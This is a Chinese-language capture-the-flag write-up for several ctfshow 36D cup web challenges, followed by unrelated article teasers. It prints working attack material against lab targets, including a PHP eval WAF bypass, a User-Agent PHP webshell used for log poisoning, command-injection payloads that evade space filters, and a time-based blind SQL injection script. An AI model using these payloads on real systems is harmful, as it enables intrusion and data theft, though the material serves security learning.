CTFSHOW-WEB-36D杯
给你shell
这道题对我这个新手还是有难度的,花了不少时间。首先f12看源码,看到?view_source,点进去看源码
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";if (isset($_GET['view_source'])) {show_source(__FILE__);die;
}function checkCookie($s) {$arr = explode(':', $s);if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {return true;} else {if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);return false;}
}function haveFun($_f_g) {$_g_r = 32;$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < $_g_r; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');if ($obj && isset($_GET['give_me_shell'])) {($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}die;
代码审计得后,先看函数 checkCookie($s),这个函数主要就是检查cookie,将cookie分两段,第一段必须是'{"secret"' ,第二段必须满足正则只能含数字和大写英文字母,后面就是设置和读取cookie,初次访问会设置默认值(md5('y1ng')
的大写),若我们传入cookie,就会进去下一步判断,get传参give_me_shell,我们设置的cookieJSON解码后保存在$obj中,如果
$obj['secret'] == $flag_md5
相等得话就会回显shell_path,否则调用haveFun()
函数。 由于不知道 flag,自然无法直接获得 $flag_md5
。然后进入到haveFun()
函数,这个函数我也是研究了好长时间,好好分析一下
function haveFun($_f_g) {$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < 32; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}
首先是计算flagMD5大写,然后是一个循环,每个字符转ASCCII值,在与0xc0换位与
什么是0xc0
十六进制 | 二进制 |
---|---|
0xC0 | 11000000 |
按位与
只保留 高两位;
低六位全部设为 0。
$_i & 0xC0
这里举个例子
字符 'A'
'A'
的 ASCII = 65(二进制 01000001
)
01000001 & 11000000 = 01000000
即 64
这是逐位比较,相同为1,不同为0,然后比较后的二进制转为十进制。
字符范围 | 对应 & 0xC0 |
---|---|
'0' ~'9' | 0 |
'A' ~'F' | 64 |
这个函数也是模糊泄露了flag。
我们先传参得到一个32位字符串。
0006464640064064646464006406464064640064006400000000000
分析的前三位都是数字后几位是字母,这里就可以利用php的弱比较。只需判断前三位数字即可,这里直接爆破是不行的,因为cookie格式为{"secrert":"xxxxxx"},后面的值也是一个字符串,我们需要利用数字与字符串的弱比较绕过,传入的cookie是{"secret":123},接下来爆破数字就行
当数字是115爆破成功,访问回显路径
得到代码
<?php
error_reporting(0);
session_start();//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";if (!$_SESSION['login'])die('<script>location.href=\'./index.php\'</script>');if (!isset($_GET['code'])) {show_source(__FILE__);exit();
} else {$code = $_GET['code'];if (!preg_match($secret_waf, $code)) {//清空session 从头再来eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker} else die('hacker');
}/** When you feel that you are lost, do not give up, fight and move on.* Being a hacker is not easy, it requires effort and sacrifice.* But remember … we are legion!* ————Deep CTF 2020
*/
主要考察waf绕过和命令执行,由于我们不知道过滤了什么先进行fuzz测试一下,发现过滤了 f
\ / | ; ' + ) ( * ^ $ ' ` " "基本有用的都过滤了。
在一个 PHP 代码段中的最后一行可以不用分号结束,于是构造?><?来进行绕过,
?>提前结束原有的PHP上下文(前面的 eval()
语句)。然后插入新的PHP代码块
<?= 相当于 <? echo。
?code=]=1?><?= 新代码?>,
常用的函数基本都不能用了,而且f被过滤了,无法直接读取flag文件,符号~可以将URL编码取反,PHP中的函数urlencode可以将字符进行url编码,利用这些特性,我们可以将命令进行url取反编码,然后用~再取反,实现命令的注入,require和~之间不需要空格就可以执行,最终的payload
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
然后再根据提示访问/flag
payload
?code=]=1?><?=require~%d0%99%93%9e%98?>
ALL_INFO_U_WANT
这种题我也是第一次见,flag文件里放的不是flag,启动靶机后我还玩了一会魔方,没看注释,然后dirsearch扫一下发现备份文件,得到源码
visit all_info_u_want.php and you will get all information you want= =Thinking that it may be difficult, i decided to show you the source code:<?php
error_reporting(0);//give you all information you want
if (isset($_GET['all_info_i_want'])) {phpinfo();
}if (isset($_GET['file'])) {$file = "/var/www/html/" . $_GET['file'];//really baby includeinclude($file);
}?>really really really baby challenge right?
根据提示先访问all_info_u_want.php?all_info_i_want,拜读大佬文章说open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件
?file=../../../../..//var/log/nginx/access.log
让后在UA头里执行命令。
接下来就是找flag
大佬思路:
User Agent:
<?php eval($_POST[1]);?>
post:
1=system('find /etc -name "*" | xargs grep "ctfshow{"');
find /etc -name "*"
: 查找/etc目录及其所有子目录中的所有文件
| xargs grep "ctfshow{"
: 将找到的文件作为参数传递给grep,搜索包含"ctfshow{"字符串的内容
这样就找到flag
WUSTCTF_朴实无华_Revenge
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);function isPalindrome($str){$len=strlen($str);$l=1;$k=intval($len/2)+1;for($j=0;$j<$k;$j++)if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {$l=0;break;}if ($l==1) return true;else return false;
}//level 1
if (isset($_GET['num'])){$num = $_GET['num'];$numPositve = intval($num);$numReverse = intval(strrev($num));if (preg_match('/[^0-9.-]/', $num)) {die("非洲欢迎你1");}if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧die("非洲欢迎你2");}if( $numPositve === $numReverse && !isPalindrome($num) ){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5(md5($md5)))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧
代码审计题,题目定义了一个函数,用来判断参数是否为回文,就是正着读和反过来读都一样,比如‘12321’,就是回文。然后题目设置了三个关卡。
level 1
num
只能含数字、.
、-
。intval(num) == intval(strrev(num))
,即数字和其反转相等。字符串本身不能是回文(但数字相等)。
绕过的方法有很多,比如‘0-’,‘0.00’都可以
level2
这考察双重md5碰撞,这重在积累,payload
0e1576609003
0e1138100474
0e113810047
level3
这一关考察rce,过滤了空格和常用的函数符号,用%09或者<绕过空格就行了
ls%09/
nl%09/flag
最终的payload
?num=0.00&md5=0e1138100474&get_flag=nl%09/flag
WUSTCTF_朴实无华_Revenge_Revenge
这一题和上面的差不多,payload
?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp
Login_Only_For_36D
测试发现存在过滤,fuzz测试
过滤了 'select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' '
能用'table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ','
这里参考大佬脚本
import requests
import time as turl = 'https://1509aa83-c3c4-4aee-a117-5d95de4fb8d5.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# Disable SSL verification
requests.packages.urllib3.disable_warnings()# Time-based blind injection
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary ensures case-sensitive matching
for i in range(16):for char in list_char:passwd_t = passwd + charpayload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'data = {'username': 'admin\\','password': payload}try:start = t.time()requests.post(url, data=data, verify=False) # verify=False disables SSL verificationend = t.time()if end - start >= 2:passwd += charprint(f"Found character {i+1}: {passwd}")breakexcept requests.exceptions.RequestException as e:print(f"Request failed: {e}")continueprint(f"Final password: {passwd}")
得到密码登录即可,36d杯名不虚传
你取吧
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {if (preg_match ('/' . $blacklisted . '/im', $code)) {die('nonono');}
}
eval("echo($code);");
?>
这过滤的比较干净,但是可以利用题目中的数组执行命令
?code=`$_[12]$_[13] /*` `nl /*`
?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]` `nl /flag`
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1 1);system("nl /flag");(1
还有无字母rce利用自增绕过,我尝试没有成功,我再去沉淀沉淀,,,
相关文章:

CTFSHOW-WEB-36D杯
给你shell 这道题对我这个新手还是有难度的,花了不少时间。首先f12看源码,看到?view_source,点进去看源码 <?php //Its no need to use scanner. Of course if you want, but u will find nothing. error_reporting(0); include "…...
MySQL connection close 后, mysql server上的行为是什么
本文着重讲述的是通过 msql client 连接到 mysql server ,发起 update 、 select 操作(由于数据量非常大,所以 update、select 操作都很耗时,即在结果返回前我们有足够的时间执行一些操作) 。 在客户端分别尝试执行 ctrl C 结束关闭 mysql c…...

RabbitMQ vs MQTT:深入比较与最新发展
RabbitMQ vs MQTT:深入比较与最新发展 引言 在消息队列和物联网(IoT)通信领域,RabbitMQ 和 MQTT 是两种备受瞩目的技术,各自针对不同的需求和场景提供了强大的解决方案。随着 2025 年的到来,这两项技术都…...

金砖国家人工智能高级别论坛在巴西召开,华院计算应邀出席并发表主题演讲
当地时间5月20日,由中华人民共和国工业和信息化部,巴西发展、工业、贸易与服务部,巴西公共服务管理和创新部以及巴西科技创新部联合举办的金砖国家人工智能高级别论坛,在巴西首都巴西利亚举行。 中华人民共和国工业和信息化部副部…...

【KWDB 创作者计划】_再热垃圾发电汽轮机仿真与监控系统:KaiwuDB 批量插入10万条数据性能优化实践
再热垃圾发电汽轮机仿真与监控系统:KaiwuDB 批量插入10万条数据性能优化实践 我是一台N25-3.82/390型汽轮机,心脏在5500转/分的轰鸣中跳动。垃圾焚烧炉是我的胃,将人类遗弃的残渣转化为金色蒸汽,沿管道涌入我的胸腔。 清晨&#x…...
CentOS 7 安装docker缺少slirp4netnsy依赖解决方案
CentOS 7安装docker缺少slirp4netnsy依赖解决方案 Error: Package: docker-ce-rootless-extras-26.1.4-1.el7.x86_64 (docker-ce-stable) Requires: slirp4netns > 0.4 Error: Package: docker-ce-rootless-extras-26.1.4-1.el7.x86_64 (docker-ce-stable) 解决方案 若wge…...

Android第十一次面试多线程篇
面试官: “你在项目里用过Handler吗?能说说它是怎么工作的吗?” 候选人: “当然用过!比如之前做下载功能时,需要在后台线程下载文件,然后在主线程更新进度条。这时候就得用Handler来切…...

安全,稳定可靠的政企即时通讯数字化平台
在当今数字化时代,政企机构面临着复杂多变的业务需求和日益增长的沟通协作挑战。BeeWorks作为一款安全,稳定可靠的政企即时通讯数字化平台,凭借其安全可靠、功能强大的特性,为政企提供了高效、便捷的沟通协作解决方案,…...
craw4ai 抓取实时信息,与 mt4外行行情结合实时交易,基本面来觉得趋势方向,搞一个外汇交易策略
结合实时信息抓取、MT4行情数据、基本面分析的外汇交易策略框架,旨在通过多维度数据融合提升交易决策质量:行不行不知道先试试,理论是对的,只要基本面方向没错 策略名称:Tri-Sync 外汇交易系统 核心理念 「基本面定方…...
Linux之守护进程
在Linux系统中,进程一般分为前台进程、后台进程和守护进程3类。 一 守护进程 定义: 1.守护进程是在操作系统后台运行的一种特殊类型的进程,它独立于前台用户界面,不与任何终端设备直接关联。这些进程通常在系统启动时启动,并持…...

LiquiGen流体导入UE
导出ABC 导出贴图 ABC导入Houdini UE安装SideFX_Labs插件 C:\Users\Star\Documents\houdini20.5\SideFXLabs\unreal\5.5 参考: LiquiGenHoudiniUE血液流程_哔哩哔哩_bilibili...
使用react进行用户管理系统
今天通了一遍使用react进行用户管理系统的文档,以及跟随步骤实现了一遍,我大概梳理一下实现思路。 首先我们构建基本用户管理应用,需要数据库存储个人资料,我们先去supabase注册然后创建自己的数据库然后设置密码,然后…...
SpringBoot的java应用中,慢sql会导致CPU暴增吗
是的,在 Spring Boot 的 Java 应用中,慢 SQL 同样可能导致 CPU 暴增。虽然数据库服务器的 CPU 通常是主要压力点,但应用服务器(Java 进程)的 CPU 也可能间接受到影响,具体原因和机制如下: 1. 数…...

Ubuntu下编译mininim游戏全攻略
目录 一、安装mininim 软件所依赖的库(重点是allegro游戏引擎库)二、编译mininim 软件三、将mininim打包给另一个Ubuntu系统使用四、安卓手机运行mininim 一、安装mininim 软件所依赖的库(重点是allegro游戏引擎库) 1. 用apt-get…...

uniapp uni-id Error: Invalid password secret
common文件夹下uni-config-center文件夹下新建uni-id,新建config.json文件 复制粘贴以下代码,不要自己改,格式容易错 {"passwordSecret": [{"type": "hmac-sha256","version": 1}], "passwordStrength&qu…...
用 Appuploader,让 iOS 上架流程真正“可交接、可记录、可复用”:我们是这样实现的
你可能听说过这样一类人:上线必找他,证书只有他有,Transporter 密码在他电脑上,描述文件什么时候过期,只有他知道。 如果你团队里有这样一位“发布大师”,他可能是个英雄——但也是个单点风险源。 我们团…...

第十二节:第三部分:集合框架:List系列集合:特点、方法、遍历方式、ArrayList集合的底层原理
List系列集合特点 List集合的特有方法 List集合支持的遍历方式 ArrayList集合的底层原理 ArrayList集合适合的应用场景 代码:List系列集合遍历方式 package com.itheima.day19_Collection_List;import java.util.ArrayList; import java.util.Iterator; import jav…...

【办公类-18-07】20250527屈光检查PDF文件拆分成多个pdf(两页一份,用幼儿班级姓名命名文件)
背景需求: 今天春游,上海海昌公园。路上保健老师收到前几天幼儿的屈光视力检查单PDF。 她说:所有孩子的通知都做在一个PDF里,我没法单独发给班主任。你有什么办法拆开来? 我说:“没问题,问deep…...

AI Agent的“搜索大脑“进化史:从Google API到智能搜索生态的技术变革
AI Agent搜索革命的时代背景 2025年agent速度发展之快似乎正在验证"2025年是agent元年"的说法,而作为agent最主要的应用工具之一(另外一个是coding),搜索工具也正在呈现快速的发展趋势。Google在2024年12月推出Gemini Deep Research࿰…...

Arduino学习-跑马灯
1、效果 2、代码 /**** 2025-5-30 跑马灯的小程序 */ //时间间隔 int intervaltime200; //初始化函数 void setup() {// put your setup code here, to run once://设置第3-第7个引脚为输出模式for(int i3;i<8;i){pinMode(i,OUTPUT);} }//循环执行 void loop() {// put you…...
python创建args命令行分析
这段代码是一个使用 Python 的 argparse 模块创建命令行界面的示例。它定义了一系列的命令行参数和子命令,通常用于构建和管理软件项目或版本控制系统中的操作。以下是对代码的逐行分析: 1初始化 ArgumentParser parser argparse.ArgumentParser(forma…...

2. 手写数字预测 gui版
2. 手写数字预测 gui版 背景1.界面绘制2.处理图片3. 加载模型4. 预测5.结果6.一点小问题 背景 做了手写数字预测的模型,但是老是跑模型太无聊了,就配合pyqt做了一个可视化界面出来玩一下 源代码可以去这里https://github.com/Leezed525/pytorch_toy拿 …...
js数据类型有哪些?它们有什么区别?
js数据类型共有8种,分别是undefined,null,boolean,number,string,Object,symbol,bigint symbol和bigint是es6中提出来的数据类型 symbol创建后独一无二不可变的数据类型,它主要是为了解决出现全局变量冲突的问题 bigint 是一种数字类型的数据,它可以表示任意精度格式的整数,…...
大模型应用开发第五讲:成熟度模型:从ChatGPT(L2)到未来自主Agent(L4)
大模型应用开发第五讲:成熟度模型:从ChatGPT(L2)到未来自主Agent(L4) 资料取自《大模型应用开发:动手做AI Agent 》。 查看总目录:学习大纲 关于DeepSeek本地部署指南可以看下我之…...

特别篇-产品经理(三)
一、市场与竞品分析—竞品分析 1. 课后总结 案例框架:通过"小新吃蛋糕"案例展示行业分析方法,包含四个关键步骤: 明确目标行业调研确定竞品分析竞争策略输出结论 1)行业背景分析方法 PEST分析法:从四个…...
IP地址扫描 网络状态监测 企业网络管理 免安装,企业级 IP 监控防未授权接入
各位网络小卫士们!今天咱来聊聊一款超厉害的局域网IP地址扫描工具——IPScaner V1.22。这玩意儿就像网络世界的大侦探,能快速识别网络里设备的状态和资源分布。下面咱就好好唠唠它的那些事儿。 软件获取夸克网盘下载 先说说它的核心功能。第一个是IP…...

【unity游戏开发——编辑器扩展】AssetDatabase公共类在编辑器环境中管理和操作项目中的资源
注意:考虑到编辑器扩展的内容比较多,我将编辑器扩展的内容分开,并全部整合放在【unity游戏开发——编辑器扩展】专栏里,感兴趣的小伙伴可以前往逐一查看学习。 文章目录 前言一、AssetDatabase常用API1、创建资源1.1 API1.2 示例 …...

BLE协议全景图:从0开始理解低功耗蓝牙
BLE(Bluetooth Low Energy)作为一种针对低功耗场景优化的通信协议,已经广泛应用于智能穿戴、工业追踪、智能家居、医疗设备等领域。 本文是《BLE 协议实战详解》系列的第一篇,将从 BLE 的发展历史、协议栈结构、核心机制和应用领域出发,为后续工程实战打下全面认知基础。 …...

【机器学习基础】机器学习入门核心算法:GBDT(Gradient Boosting Decision Tree)
机器学习入门核心算法:GBDT(Gradient Boosting Decision Tree) 1. 算法逻辑2. 算法原理与数学推导2.1 目标函数2.2 负梯度计算2.3 决策树拟合2.4 叶子权重计算2.5 模型更新 3. 模型评估评估指标防止过拟合 4. 应用案例4.1 金融风控4.2 推荐系…...

基于开源AI大模型AI智能名片S2B2C商城小程序源码的销售环节数字化实现路径研究
摘要:在数字化浪潮下,企业销售环节的转型升级已成为提升竞争力的核心命题。本文基于清华大学全球产业研究院《中国企业数字化转型研究报告(2020)》提出的“提升销售率与利润率、打通客户数据、强化营销协同、构建全景用户画像、助…...